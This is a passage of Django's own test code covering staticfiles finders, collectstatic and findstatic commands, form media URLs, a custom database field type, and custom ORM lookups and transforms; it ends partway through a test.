    def test_cache(self):
        finders.get_finder.cache_clear()
        for n in range(10):
            finders.get_finder('django.contrib.staticfiles.finders.FileSystemFinder')
        cache_info = finders.get_finder.cache_info()
        self.assertEqual(cache_info.hits, 9)
        self.assertEqual(cache_info.currsize, 1)

    def test_searched_locations(self):
        finders.find('spam')
        self.assertEqual(
            finders.searched_locations,
            [os.path.join(TEST_ROOT, 'project', 'documents')]
        )

    @override_settings(STATICFILES_DIRS='a string')
    def test_non_tuple_raises_exception(self):
        """
        We can't determine if STATICFILES_DIRS is set correctly just by
        looking at the type, but we can determine if it's definitely wrong.
        """
        with self.assertRaises(ImproperlyConfigured):
            finders.FileSystemFinder()

    @override_settings(MEDIA_ROOT='')
    def test_location_empty(self):
        with self.assertRaises(ImproperlyConfigured):
            finders.DefaultStorageFinder()






# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

import codecs
import os
import shutil
import tempfile

from django.conf import settings
from django.core.management import call_command
from django.template import Context, Template
from django.test import SimpleTestCase, override_settings
from django.utils import six
from django.utils.encoding import force_text

from .settings import TEST_SETTINGS


class BaseStaticFilesMixin(object):
    """
    Test case with a couple utility assertions.
    """

    def assertFileContains(self, filepath, text):
        self.assertIn(
            text,
            self._get_file(force_text(filepath)),
            "'%s' not in '%s'" % (text, filepath),
        )

    def assertFileNotFound(self, filepath):
        with self.assertRaises(IOError):
            self._get_file(filepath)

    def render_template(self, template, **kwargs):
        if isinstance(template, six.string_types):
            template = Template(template)
        return template.render(Context(kwargs)).strip()

    def static_template_snippet(self, path, asvar=False):
        if asvar:
            return "{%% load static from staticfiles %%}{%% static '%s' as var %%}{{ var }}" % path
        return "{%% load static from staticfiles %%}{%% static '%s' %%}" % path

    def assertStaticRenders(self, path, result, asvar=False, **kwargs):
        template = self.static_template_snippet(path, asvar)
        self.assertEqual(self.render_template(template, **kwargs), result)

    def assertStaticRaises(self, exc, path, result, asvar=False, **kwargs):
        with self.assertRaises(exc):
            self.assertStaticRenders(path, result, **kwargs)


@override_settings(**TEST_SETTINGS)
class StaticFilesTestCase(BaseStaticFilesMixin, SimpleTestCase):
    pass


@override_settings(**TEST_SETTINGS)
class CollectionTestCase(BaseStaticFilesMixin, SimpleTestCase):
    """
    Tests shared by all file finding features (collectstatic,
    findstatic, and static serve view).

    This relies on the asserts defined in BaseStaticFilesTestCase, but
    is separated because some test cases need those asserts without
    all these tests.
    """
    def setUp(self):
        super(CollectionTestCase, self).setUp()
        temp_dir = tempfile.mkdtemp()
        # Override the STATIC_ROOT for all tests from setUp to tearDown
        # rather than as a context manager
        self.patched_settings = self.settings(STATIC_ROOT=temp_dir)
        self.patched_settings.enable()
        self.run_collectstatic()
        # Same comment as in runtests.teardown.
        self.addCleanup(shutil.rmtree, six.text_type(temp_dir))

    def tearDown(self):
        self.patched_settings.disable()
        super(CollectionTestCase, self).tearDown()

    def run_collectstatic(self, **kwargs):
        call_command('collectstatic', interactive=False, verbosity=0,
                     ignore_patterns=['*.ignoreme'], **kwargs)

    def _get_file(self, filepath):
        assert filepath, 'filepath is empty.'
        filepath = os.path.join(settings.STATIC_ROOT, filepath)
        with codecs.open(filepath, "r", "utf-8") as f:
            return f.read()


class TestDefaults(object):
    """
    A few standard test cases.
    """
    def test_staticfiles_dirs(self):
        """
        Can find a file in a STATICFILES_DIRS directory.
        """
        self.assertFileContains('test.txt', 'Can we find')
        self.assertFileContains(os.path.join('prefix', 'test.txt'), 'Prefix')

    def test_staticfiles_dirs_subdir(self):
        """
        Can find a file in a subdirectory of a STATICFILES_DIRS
        directory.
        """
        self.assertFileContains('subdir/test.txt', 'Can we find')

    def test_staticfiles_dirs_priority(self):
        """
        File in STATICFILES_DIRS has priority over file in app.
        """
        self.assertFileContains('test/file.txt', 'STATICFILES_DIRS')

    def test_app_files(self):
        """
        Can find a file in an app static/ directory.
        """
        self.assertFileContains('test/file1.txt', 'file1 in the app dir')

    def test_nonascii_filenames(self):
        """
        Can find a file with non-ASCII character in an app static/ directory.
        """
        self.assertFileContains('test/⊗.txt', '⊗ in the app dir')

    def test_camelcase_filenames(self):
        """
        Can find a file with capital letters.
        """
        self.assertFileContains('test/camelCase.txt', 'camelCase')












from django.contrib.staticfiles import storage
from django.contrib.staticfiles.templatetags.staticfiles import static
from django.forms import Media
from django.test import SimpleTestCase, override_settings
from django.utils.six.moves.urllib.parse import urljoin


class StaticTestStorage(storage.StaticFilesStorage):
    def url(self, name):
        return urljoin('https://example.com/assets/', name)


@override_settings(
    STATIC_URL='http://media.example.com/static/',
    INSTALLED_APPS=('django.contrib.staticfiles', ),
    STATICFILES_STORAGE='staticfiles_tests.test_forms.StaticTestStorage',
)
class StaticFilesFormsMediaTestCase(SimpleTestCase):
    def test_absolute_url(self):
        m = Media(
            css={'all': ('path/to/css1', '/path/to/css2')},
            js=(
                '/path/to/js1',
                'http://media.other.com/path/to/js2',
                'https://secure.other.com/path/to/js3',
                static('relative/path/to/js4'),
            ),
        )
        self.assertEqual(
            str(m),
            """<link href="https://example.com/assets/path/to/css1" type="text/css" media="all" rel="stylesheet" />
<link href="/path/to/css2" type="text/css" media="all" rel="stylesheet" />
<script type="text/javascript" src="/path/to/js1"></script>
<script type="text/javascript" src="http://media.other.com/path/to/js2"></script>
<script type="text/javascript" src="https://secure.other.com/path/to/js3"></script>
<script type="text/javascript" src="https://example.com/assets/relative/path/to/js4"></script>"""
        )






from __future__ import unicode_literals

import codecs
import os
import shutil
import tempfile
import unittest

from admin_scripts.tests import AdminScriptTestCase

from django.conf import settings
from django.contrib.staticfiles import storage
from django.contrib.staticfiles.management.commands import collectstatic
from django.core.exceptions import ImproperlyConfigured
from django.core.management import call_command
from django.test import override_settings
from django.test.utils import extend_sys_path
from django.utils import six
from django.utils._os import symlinks_supported
from django.utils.encoding import force_text
from django.utils.functional import empty

from .cases import CollectionTestCase, StaticFilesTestCase, TestDefaults
from .settings import TEST_ROOT, TEST_SETTINGS
from .storage import DummyStorage


class TestNoFilesCreated(object):

    def test_no_files_created(self):
        """
        Make sure no files were create in the destination directory.
        """
        self.assertEqual(os.listdir(settings.STATIC_ROOT), [])


class TestFindStatic(TestDefaults, CollectionTestCase):
    """
    Test ``findstatic`` management command.
    """
    def _get_file(self, filepath):
        path = call_command('findstatic', filepath, all=False, verbosity=0, stdout=six.StringIO())
        with codecs.open(force_text(path), "r", "utf-8") as f:
            return f.read()

    def test_all_files(self):
        """
        Test that findstatic returns all candidate files if run without --first and -v1.
        """
        result = call_command('findstatic', 'test/file.txt', verbosity=1, stdout=six.StringIO())
        lines = [l.strip() for l in result.split('\n')]
        self.assertEqual(len(lines), 3)  # three because there is also the "Found <file> here" line
        self.assertIn('project', force_text(lines[1]))
        self.assertIn('apps', force_text(lines[2]))

    def test_all_files_less_verbose(self):
        """
        Test that findstatic returns all candidate files if run without --first and -v0.
        """
        result = call_command('findstatic', 'test/file.txt', verbosity=0, stdout=six.StringIO())
        lines = [l.strip() for l in result.split('\n')]
        self.assertEqual(len(lines), 2)
        self.assertIn('project', force_text(lines[0]))
        self.assertIn('apps', force_text(lines[1]))

    def test_all_files_more_verbose(self):
        """
        Test that findstatic returns all candidate files if run without --first and -v2.
        Also, test that findstatic returns the searched locations with -v2.
        """
        result = call_command('findstatic', 'test/file.txt', verbosity=2, stdout=six.StringIO())
        lines = [l.strip() for l in result.split('\n')]
        self.assertIn('project', force_text(lines[1]))
        self.assertIn('apps', force_text(lines[2]))
        self.assertIn("Looking in the following locations:", force_text(lines[3]))
        searched_locations = ', '.join(force_text(x) for x in lines[4:])
        # AppDirectoriesFinder searched locations
        self.assertIn(os.path.join('staticfiles_tests', 'apps', 'test', 'static'), searched_locations)
        self.assertIn(os.path.join('staticfiles_tests', 'apps', 'no_label', 'static'), searched_locations)
        # FileSystemFinder searched locations
        self.assertIn(TEST_SETTINGS['STATICFILES_DIRS'][1][1], searched_locations)
        self.assertIn(TEST_SETTINGS['STATICFILES_DIRS'][0], searched_locations)
        # DefaultStorageFinder searched locations
        self.assertIn(
            os.path.join('staticfiles_tests', 'project', 'site_media', 'media'),
            searched_locations
        )


class TestConfiguration(StaticFilesTestCase):
    def test_location_empty(self):
        msg = 'without having set the STATIC_ROOT setting to a filesystem path'
        err = six.StringIO()
        for root in ['', None]:
            with override_settings(STATIC_ROOT=root):
                with self.assertRaisesMessage(ImproperlyConfigured, msg):
                    call_command('collectstatic', interactive=False, verbosity=0, stderr=err)

    def test_local_storage_detection_helper(self):
        staticfiles_storage = storage.staticfiles_storage
        try:
            storage.staticfiles_storage._wrapped = empty
            with self.settings(STATICFILES_STORAGE='django.contrib.staticfiles.storage.StaticFilesStorage'):
                command = collectstatic.Command()
                self.assertTrue(command.is_local_storage())

            storage.staticfiles_storage._wrapped = empty
            with self.settings(STATICFILES_STORAGE='staticfiles_tests.storage.DummyStorage'):
                command = collectstatic.Command()
                self.assertFalse(command.is_local_storage())

            collectstatic.staticfiles_storage = storage.FileSystemStorage()
            command = collectstatic.Command()
            self.assertTrue(command.is_local_storage())

            collectstatic.staticfiles_storage = DummyStorage()
            command = collectstatic.Command()
            self.assertFalse(command.is_local_storage())
        finally:
            staticfiles_storage._wrapped = empty
            collectstatic.staticfiles_storage = staticfiles_storage
            storage.staticfiles_storage = staticfiles_storage


class TestCollectionHelpSubcommand(AdminScriptTestCase):
    @override_settings(STATIC_ROOT=None)
    def test_missing_settings_dont_prevent_help(self):
        """
        Even if the STATIC_ROOT setting is not set, one can still call the
        `manage.py help collectstatic` command.
        """
        self.write_settings('settings.py', apps=['django.contrib.staticfiles'])
        out, err = self.run_manage(['help', 'collectstatic'])
        self.assertNoOutput(err)


class TestCollection(TestDefaults, CollectionTestCase):
    """
    Test ``collectstatic`` management command.
    """
    def test_ignore(self):
        """
        Test that -i patterns are ignored.
        """
        self.assertFileNotFound('test/test.ignoreme')

    def test_common_ignore_patterns(self):
        """
        Common ignore patterns (*~, .*, CVS) are ignored.
        """
        self.assertFileNotFound('test/.hidden')
        self.assertFileNotFound('test/backup~')
        self.assertFileNotFound('test/CVS')


class TestCollectionClear(CollectionTestCase):
    """
    Test the ``--clear`` option of the ``collectstatic`` management command.
    """
    def run_collectstatic(self, **kwargs):
        clear_filepath = os.path.join(settings.STATIC_ROOT, 'cleared.txt')
        with open(clear_filepath, 'w') as f:
            f.write('should be cleared')
        super(TestCollectionClear, self).run_collectstatic(clear=True)

    def test_cleared_not_found(self):
        self.assertFileNotFound('cleared.txt')

    def test_dir_not_exists(self, **kwargs):
        shutil.rmtree(six.text_type(settings.STATIC_ROOT))
        super(TestCollectionClear, self).run_collectstatic(clear=True)

    @override_settings(STATICFILES_STORAGE='staticfiles_tests.storage.PathNotImplementedStorage')
    def test_handle_path_notimplemented(self):
        self.run_collectstatic()
        self.assertFileNotFound('cleared.txt')


class TestCollectionExcludeNoDefaultIgnore(TestDefaults, CollectionTestCase):
    """
    Test ``--exclude-dirs`` and ``--no-default-ignore`` options of the
    ``collectstatic`` management command.
    """
    def run_collectstatic(self):
        super(TestCollectionExcludeNoDefaultIgnore, self).run_collectstatic(
            use_default_ignore_patterns=False)

    def test_no_common_ignore_patterns(self):
        """
        With --no-default-ignore, common ignore patterns (*~, .*, CVS)
        are not ignored.
        """
        self.assertFileContains('test/.hidden', 'should be ignored')
        self.assertFileContains('test/backup~', 'should be ignored')
        self.assertFileContains('test/CVS', 'should be ignored')


@override_settings(INSTALLED_APPS=[
    'staticfiles_tests.apps.staticfiles_config.IgnorePatternsAppConfig',
    'staticfiles_tests.apps.test',
])
class TestCollectionCustomIgnorePatterns(CollectionTestCase):
    def test_custom_ignore_patterns(self):
        """
        A custom ignore_patterns list, ['*.css'] in this case, can be specified
        in an AppConfig definition.
        """
        self.assertFileNotFound('test/nonascii.css')
        self.assertFileContains('test/.hidden', 'should be ignored')


class TestCollectionDryRun(TestNoFilesCreated, CollectionTestCase):
    """
    Test ``--dry-run`` option for ``collectstatic`` management command.
    """
    def run_collectstatic(self):
        super(TestCollectionDryRun, self).run_collectstatic(dry_run=True)


class TestCollectionFilesOverride(CollectionTestCase):
    """
    Test overriding duplicated files by ``collectstatic`` management command.
    Check for proper handling of apps order in installed apps even if file modification
    dates are in different order:
        'staticfiles_test_app',
        'staticfiles_tests.apps.no_label',
    """
    def setUp(self):
        self.temp_dir = tempfile.mkdtemp()
        self.addCleanup(shutil.rmtree, self.temp_dir)

        # get modification and access times for no_label/static/file2.txt
        self.orig_path = os.path.join(TEST_ROOT, 'apps', 'no_label', 'static', 'file2.txt')
        self.orig_mtime = os.path.getmtime(self.orig_path)
        self.orig_atime = os.path.getatime(self.orig_path)

        # prepare duplicate of file2.txt from a temporary app
        # this file will have modification time older than no_label/static/file2.txt
        # anyway it should be taken to STATIC_ROOT because the temporary app is before
        # 'no_label' app in installed apps
        self.temp_app_path = os.path.join(self.temp_dir, 'staticfiles_test_app')
        self.testfile_path = os.path.join(self.temp_app_path, 'static', 'file2.txt')

        os.makedirs(self.temp_app_path)
        with open(os.path.join(self.temp_app_path, '__init__.py'), 'w+'):
            pass

        os.makedirs(os.path.dirname(self.testfile_path))
        with open(self.testfile_path, 'w+') as f:
            f.write('duplicate of file2.txt')

        os.utime(self.testfile_path, (self.orig_atime - 1, self.orig_mtime - 1))

        self.settings_with_test_app = self.modify_settings(
            INSTALLED_APPS={'prepend': 'staticfiles_test_app'})
        with extend_sys_path(self.temp_dir):
            self.settings_with_test_app.enable()

        super(TestCollectionFilesOverride, self).setUp()

    def tearDown(self):
        super(TestCollectionFilesOverride, self).tearDown()
        self.settings_with_test_app.disable()

    def test_ordering_override(self):
        """
        Test if collectstatic takes files in proper order
        """
        self.assertFileContains('file2.txt', 'duplicate of file2.txt')

        # run collectstatic again
        self.run_collectstatic()

        self.assertFileContains('file2.txt', 'duplicate of file2.txt')


# The collectstatic test suite already has conflicting files since both
# project/test/file.txt and apps/test/static/test/file.txt are collected. To
# properly test for the warning not happening unless we tell it to explicitly,
# we remove the project directory and will add back a conflicting file later.
@override_settings(STATICFILES_DIRS=[])
class TestCollectionOverwriteWarning(CollectionTestCase):
    """
    Test warning in ``collectstatic`` output when a file is skipped because a
    previous file was already written to the same path.
    """
    # If this string is in the collectstatic output, it means the warning we're
    # looking for was emitted.
    warning_string = 'Found another file'

    def _collectstatic_output(self, **kwargs):
        """
        Run collectstatic, and capture and return the output. We want to run
        the command at highest verbosity, which is why we can't
        just call e.g. BaseCollectionTestCase.run_collectstatic()
        """
        out = six.StringIO()
        call_command('collectstatic', interactive=False, verbosity=3, stdout=out, **kwargs)
        return force_text(out.getvalue())

    def test_no_warning(self):
        """
        There isn't a warning if there isn't a duplicate destination.
        """
        output = self._collectstatic_output(clear=True)
        self.assertNotIn(self.warning_string, output)

    def test_warning(self):
        """
        There is a warning when there are duplicate destinations.
        """
        static_dir = tempfile.mkdtemp()
        self.addCleanup(shutil.rmtree, static_dir)

        duplicate = os.path.join(static_dir, 'test', 'file.txt')
        os.mkdir(os.path.dirname(duplicate))
        with open(duplicate, 'w+') as f:
            f.write('duplicate of file.txt')

        with self.settings(STATICFILES_DIRS=[static_dir]):
            output = self._collectstatic_output(clear=True)
        self.assertIn(self.warning_string, output)

        os.remove(duplicate)

        # Make sure the warning went away again.
        with self.settings(STATICFILES_DIRS=[static_dir]):
            output = self._collectstatic_output(clear=True)
        self.assertNotIn(self.warning_string, output)


@override_settings(STATICFILES_STORAGE='staticfiles_tests.storage.DummyStorage')
class TestCollectionNonLocalStorage(TestNoFilesCreated, CollectionTestCase):
    """
    Tests for #15035
    """
    pass


@unittest.skipUnless(symlinks_supported(), "Must be able to symlink to run this test.")
class TestCollectionLinks(TestDefaults, CollectionTestCase):
    """
    Test ``--link`` option for ``collectstatic`` management command.

    Note that by inheriting ``TestDefaults`` we repeat all
    the standard file resolving tests here, to make sure using
    ``--link`` does not change the file-selection semantics.
    """
    def run_collectstatic(self, clear=False):
        super(TestCollectionLinks, self).run_collectstatic(link=True, clear=clear)

    def test_links_created(self):
        """
        With ``--link``, symbolic links are created.
        """
        self.assertTrue(os.path.islink(os.path.join(settings.STATIC_ROOT, 'test.txt')))

    def test_broken_symlink(self):
        """
        Test broken symlink gets deleted.
        """
        path = os.path.join(settings.STATIC_ROOT, 'test.txt')
        os.unlink(path)
        self.run_collectstatic()
        self.assertTrue(os.path.islink(path))

    def test_clear_broken_symlink(self):
        """
        With ``--clear``, broken symbolic links are deleted.
        """
        nonexistent_file_path = os.path.join(settings.STATIC_ROOT, 'nonexistent.txt')
        broken_symlink_path = os.path.join(settings.STATIC_ROOT, 'symlink.txt')
        os.symlink(nonexistent_file_path, broken_symlink_path)
        self.run_collectstatic(clear=True)
        self.assertFalse(os.path.lexists(broken_symlink_path))






from django.contrib.staticfiles.urls import staticfiles_urlpatterns

urlpatterns = staticfiles_urlpatterns()






from django.conf.urls import url
from django.contrib.staticfiles import views

urlpatterns = [
    url(r'^static/(?P<path>.*)$', views.serve),
]












from django.contrib.staticfiles.apps import StaticFilesConfig


class IgnorePatternsAppConfig(StaticFilesConfig):
    ignore_patterns = ['*.css']






























from __future__ import unicode_literals

from django.db import models


class CustomTypedField(models.TextField):
    def db_type(self, connection):
        return 'custom_field'






from __future__ import unicode_literals

from django.db import connection
from django.test import SimpleTestCase

from .fields import CustomTypedField


class TestDbType(SimpleTestCase):

    def test_db_parameters_respects_db_type(self):
        f = CustomTypedField()
        self.assertEqual(f.db_parameters(connection)['type'], 'custom_field')






from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Author(models.Model):
    name = models.CharField(max_length=20)
    age = models.IntegerField(null=True)
    birthdate = models.DateField(null=True)
    average_rating = models.FloatField(null=True)

    def __str__(self):
        return self.name


class Article(models.Model):
    author = models.ForeignKey(Author, on_delete=models.CASCADE)


@python_2_unicode_compatible
class MySQLUnixTimestamp(models.Model):
    timestamp = models.PositiveIntegerField()

    def __str__(self):
        return self.name












from __future__ import unicode_literals

import contextlib
import time
import unittest
from datetime import date, datetime

from django.core.exceptions import FieldError
from django.db import connection, models
from django.test import TestCase, override_settings
from django.utils import timezone

from .models import Article, Author, MySQLUnixTimestamp


@contextlib.contextmanager
def register_lookup(field, *lookups):
    try:
        for lookup in lookups:
            field.register_lookup(lookup)
        yield
    finally:
        for lookup in lookups:
            field._unregister_lookup(lookup)


class Div3Lookup(models.Lookup):
    lookup_name = 'div3'

    def as_sql(self, compiler, connection):
        lhs, params = self.process_lhs(compiler, connection)
        rhs, rhs_params = self.process_rhs(compiler, connection)
        params.extend(rhs_params)
        return '(%s) %%%% 3 = %s' % (lhs, rhs), params

    def as_oracle(self, compiler, connection):
        lhs, params = self.process_lhs(compiler, connection)
        rhs, rhs_params = self.process_rhs(compiler, connection)
        params.extend(rhs_params)
        return 'mod(%s, 3) = %s' % (lhs, rhs), params


class Div3Transform(models.Transform):
    lookup_name = 'div3'

    def as_sql(self, compiler, connection):
        lhs, lhs_params = compiler.compile(self.lhs)
        return '(%s) %%%% 3' % lhs, lhs_params

    def as_oracle(self, compiler, connection):
        lhs, lhs_params = compiler.compile(self.lhs)
        return 'mod(%s, 3)' % lhs, lhs_params


class Div3BilateralTransform(Div3Transform):
    bilateral = True


class Mult3BilateralTransform(models.Transform):
    bilateral = True
    lookup_name = 'mult3'

    def as_sql(self, compiler, connection):
        lhs, lhs_params = compiler.compile(self.lhs)
        return '3 * (%s)' % lhs, lhs_params


class UpperBilateralTransform(models.Transform):
    bilateral = True
    lookup_name = 'upper'

    def as_sql(self, compiler, connection):
        lhs, lhs_params = compiler.compile(self.lhs)
        return 'UPPER(%s)' % lhs, lhs_params


class YearTransform(models.Transform):
    # Use a name that avoids collision with the built-in year lookup.
    lookup_name = 'testyear'

    def as_sql(self, compiler, connection):
        lhs_sql, params = compiler.compile(self.lhs)
        return connection.ops.date_extract_sql('year', lhs_sql), params

    @property
    def output_field(self):
        return models.IntegerField()


@YearTransform.register_lookup
class YearExact(models.lookups.Lookup):
    lookup_name = 'exact'

    def as_sql(self, compiler, connection):
        # We will need to skip the extract part, and instead go
        # directly with the originating field, that is self.lhs.lhs
        lhs_sql, lhs_params = self.process_lhs(compiler, connection, self.lhs.lhs)
        rhs_sql, rhs_params = self.process_rhs(compiler, connection)
        # Note that we must be careful so that we have params in the
        # same order as we have the parts in the SQL.
        params = lhs_params + rhs_params + lhs_params + rhs_params
        # We use PostgreSQL specific SQL here. Note that we must do the
        # conversions in SQL instead of in Python to support F() references.
        return ("%(lhs)s >= (%(rhs)s || '-01-01')::date "
                "AND %(lhs)s <= (%(rhs)s || '-12-31')::date" %
                {'lhs': lhs_sql, 'rhs': rhs_sql}, params)


@YearTransform.register_lookup
class YearLte(models.lookups.LessThanOrEqual):
    """
    The purpose of this lookup is to efficiently compare the year of the field.
    """

    def as_sql(self, compiler, connection):
        # Skip the YearTransform above us (no possibility for efficient
        # lookup otherwise).
        real_lhs = self.lhs.lhs
        lhs_sql, params = self.process_lhs(compiler, connection, real_lhs)
        rhs_sql, rhs_params = self.process_rhs(compiler, connection)
        params.extend(rhs_params)
        # Build SQL where the integer year is concatenated with last month
        # and day, then convert that to date. (We try to have SQL like:
        #     WHERE somecol <= '2013-12-31')
        # but also make it work if the rhs_sql is field reference.
        return "%s <= (%s || '-12-31')::date" % (lhs_sql, rhs_sql), params


class Exactly(models.lookups.Exact):
    """
    This lookup is used to test lookup registration.
    """
    lookup_name = 'exactly'

    def get_rhs_op(self, connection, rhs):
        return connection.operators['exact'] % rhs


class SQLFuncMixin(object):
    def as_sql(self, compiler, connection):
        return '%s()', [self.name]

    @property
    def output_field(self):
        return CustomField()


class SQLFuncLookup(SQLFuncMixin, models.Lookup):
    def __init__(self, name, *args, **kwargs):
        super(SQLFuncLookup, self).__init__(*args, **kwargs)
        self.name = name


class SQLFuncTransform(SQLFuncMixin, models.Transform):
    def __init__(self, name, *args, **kwargs):
        super(SQLFuncTransform, self).__init__(*args, **kwargs)
        self.name = name


class SQLFuncFactory(object):

    def __init__(self, key, name):
        self.key = key
        self.name = name

    def __call__(self, *args, **kwargs):
        if self.key == 'lookupfunc':
            return SQLFuncLookup(self.name, *args, **kwargs)
        return SQLFuncTransform(self.name, *args, **kwargs)


class CustomField(models.TextField):

    def get_lookup(self, lookup_name):
        if lookup_name.startswith('lookupfunc_'):
            key, name = lookup_name.split('_', 1)
            return SQLFuncFactory(key, name)
        return super(CustomField, self).get_lookup(lookup_name)

    def get_transform(self, lookup_name):
        if lookup_name.startswith('transformfunc_'):
            key, name = lookup_name.split('_', 1)
            return SQLFuncFactory(key, name)
        return super(CustomField, self).get_transform(lookup_name)


class CustomModel(models.Model):
    field = CustomField()


# We will register this class temporarily in the test method.


class InMonth(models.lookups.Lookup):
    """
    InMonth matches if the column's month is the same as value's month.
    """
    lookup_name = 'inmonth'

    def as_sql(self, compiler, connection):
        lhs, lhs_params = self.process_lhs(compiler, connection)
        rhs, rhs_params = self.process_rhs(compiler, connection)
        # We need to be careful so that we get the params in right
        # places.
        params = lhs_params + rhs_params + lhs_params + rhs_params
        return ("%s >= date_trunc('month', %s) and "
                "%s < date_trunc('month', %s) + interval '1 months'" %
                (lhs, rhs, lhs, rhs), params)


class DateTimeTransform(models.Transform):
    lookup_name = 'as_datetime'

    @property
    def output_field(self):
        return models.DateTimeField()

    def as_sql(self, compiler, connection):
        lhs, params = compiler.compile(self.lhs)
        return 'from_unixtime({})'.format(lhs), params


class LookupTests(TestCase):

    def test_custom_name_lookup(self):
        a1 = Author.objects.create(name='a1', birthdate=date(1981, 2, 16))
        Author.objects.create(name='a2', birthdate=date(2012, 2, 29))
        custom_lookup_name = 'isactually'
        custom_transform_name = 'justtheyear'
        try:
            models.DateField.register_lookup(YearTransform)
            models.DateField.register_lookup(YearTransform, custom_transform_name)
            YearTransform.register_lookup(Exactly)
            YearTransform.register_lookup(Exactly, custom_lookup_name)
            qs1 = Author.objects.filter(birthdate__testyear__exactly=1981)
            qs2 = Author.objects.filter(birthdate__justtheyear__isactually=1981)
            self.assertQuerysetEqual(qs1, [a1], lambda x: x)
            self.assertQuerysetEqual(qs2, [a1], lambda x: x)
        finally:
            YearTransform._unregister_lookup(Exactly)
            YearTransform._unregister_lookup(Exactly, custom_lookup_name)
            models.DateField._unregister_lookup(YearTransform)
            models.DateField._unregister_lookup(YearTransform, custom_transform_name)

    def test_basic_lookup(self):
        a1 = Author.objects.create(name='a1', age=1)
        a2 = Author.objects.create(name='a2', age=2)
        a3 = Author.objects.create(name='a3', age=3)
        a4 = Author.objects.create(name='a4', age=4)
        with register_lookup(models.IntegerField, Div3Lookup):
            self.assertQuerysetEqual(
                Author.objects.filter(age__div3=0),
                [a3], lambda x: x
            )
            self.assertQuerysetEqual(
                Author.objects.filter(age__div3=1).order_by('age'),
                [a1, a4], lambda x: x
            )
            self.assertQuerysetEqual(
                Author.objects.filter(age__div3=2),
                [a2], lambda x: x
            )
            self.assertQuerysetEqual(
                Author.objects.filter(age__div3=3),
                [], lambda x: x
            )

    @unittest.skipUnless(connection.vendor == 'postgresql', "PostgreSQL specific SQL used")
    def test_birthdate_month(self):
        a1 = Author.objects.create(name='a1', birthdate=date(1981, 2, 16))
        a2 = Author.objects.create(name='a2', birthdate=date(2012, 2, 29))
        a3 = Author.objects.create(name='a3', birthdate=date(2012, 1, 31))
        a4 = Author.objects.create(name='a4', birthdate=date(2012, 3, 1))
        with register_lookup(models.DateField, InMonth):
            self.assertQuerysetEqual(
                Author.objects.filter(birthdate__inmonth=date(2012, 1, 15)),
                [a3], lambda x: x
            )
            self.assertQuerysetEqual(
                Author.objects.filter(birthdate__inmonth=date(2012, 2, 1)),
                [a2], lambda x: x
            )
            self.assertQuerysetEqual(
                Author.objects.filter(birthdate__inmonth=date(1981, 2, 28)),
                [a1], lambda x: x
            )
            self.assertQuerysetEqual(
                Author.objects.filter(birthdate__inmonth=date(2012, 3, 12)),
                [a4], lambda x: x
            )
            self.assertQuerysetEqual(
                Author.objects.filter(birthdate__inmonth=date(2012, 4, 1)),
                [], lambda x: x
            )

    def test_div3_extract(self):
        with register_lookup(models.IntegerField, Div3Transform):
            a1 = Author.objects.create(name='a1', age=1)
            a2 = Author.objects.create(name='a2', age=2)
            a3 = Author.objects.create(name='a3', age=3)
            a4 = Author.objects.create(name='a4', age=4)
            baseqs = Author.objects.order_by('name')
            self.assertQuerysetEqual(
                baseqs.filter(age__div3=2),
                [a2], lambda x: x)
            self.assertQuerysetEqual(
                baseqs.filter(age__div3__lte=3),
                [a1, a2, a3, a4], lambda x: x)
            self.assertQuerysetEqual(
                baseqs.filter(age__div3__in=[0, 2]),
                [a2, a3], lambda x: x)
            self.assertQuerysetEqual(
                baseqs.filter(age__div3__in=[2, 4]),
                [a2], lambda x: x)
            self.assertQuerysetEqual(
                baseqs.filter(age__div3__gte=3),
                [], lambda x: x)
            self.assertQuerysetEqual(
                baseqs.filter(age__div3__range=(1, 2)),
                [a1, a2, a4], lambda x: x)

    def test_foreignobject_lookup_registration(self):
        field = Article._meta.get_field('author')

        with register_lookup(models.ForeignObject, Exactly):
            self.assertIs(field.get_lookup('exactly'), Exactly)

        # ForeignObject should ignore regular Field lookups
        with register_lookup(models.Field, Exactly):
            self.assertIsNone(field.get_lookup('exactly'))

    def test_lookups_caching(self):
        field = Article._meta.get_field('author')

        # clear and re-cache
        field.get_lookups.cache_clear()
        self.assertNotIn('exactly', field.get_lookups())

        # registration should bust the cache
        with register_lookup(models.ForeignObject, Exactly):
            # getting the lookups again should re-cache
            self.assertIn('exactly', field.get_lookups())


class BilateralTransformTests(TestCase):

    def test_bilateral_upper(self):
        with register_lookup(models.CharField, UpperBilateralTransform):
            Author.objects.bulk_create([
                Author(name='Doe'),
                Author(name='doe'),
                Author(name='Foo'),
            ])
            self.assertQuerysetEqual(
                Author.objects.filter(name__upper='doe'),
                ["<Author: Doe>", "<Author: doe>"], ordered=False)
            self.assertQuerysetEqual(
                Author.objects.filter(name__upper__contains='f'),
                ["<Author: Foo>"], ordered=False)

    def test_bilateral_inner_qs(self):
        with register_lookup(models.CharField, UpperBilateralTransform):
            with self.assertRaises(NotImplementedError):
                Author.objects.filter(name__upper__in=Author.objects.values_list('name'))

    def test_bilateral_multi_value(self):
        with register_lookup(models.CharField, UpperBilateralTransform):
            Author.objects.bulk_create([
                Author(name='Foo'),
                Author(name='Bar'),
                Author(name='Ray'),
            ])
            self.assertQuerysetEqual(
                Author.objects.filter(name__upper__in=['foo', 'bar', 'doe']).order_by('name'),
                ['Bar', 'Foo'],
                lambda a: a.name
            )

    def test_div3_bilateral_extract(self):
        with register_lookup(models.IntegerField, Div3BilateralTransform):
            a1 = Author.objects.create(name='a1', age=1)
            a2 = Author.objects.create(name='a2', age=2)
            a3 = Author.objects.create(name='a3', age=3)
            a4 = Author.objects.create(name='a4', age=4)
            baseqs = Author.objects.order_by('name')
            self.assertQuerysetEqual(
                baseqs.filter(age__div3=2),
                [a2], lambda x: x)
            self.assertQuerysetEqual(
                baseqs.filter(age__div3__lte=3),
                [a3], lambda x: x)
            self.assertQuerysetEqual(
                baseqs.filter(age__div3__in=[0, 2]),
                [a2, a3], lambda x: x)
            self.assertQuerysetEqual(
                baseqs.filter(age__div3__in=[2, 4]),
                [a1, a2, a4], lambda x: x)
            self.assertQuerysetEqual(
                baseqs.filter(age__div3__gte=3),
                [a1, a2, a3, a4], lambda x: x)
            self.assertQuerysetEqual(
                baseqs.filter(age__div3__range=(1, 2)),
                [a1, a2, a4], lambda x: x)

    def test_bilateral_order(self):
        with register_lookup(models.IntegerField, Mult3BilateralTransform, Div3BilateralTransform):
            a1 = Author.objects.create(name='a1', age=1)
            a2 = Author.objects.create(name='a2', age=2)
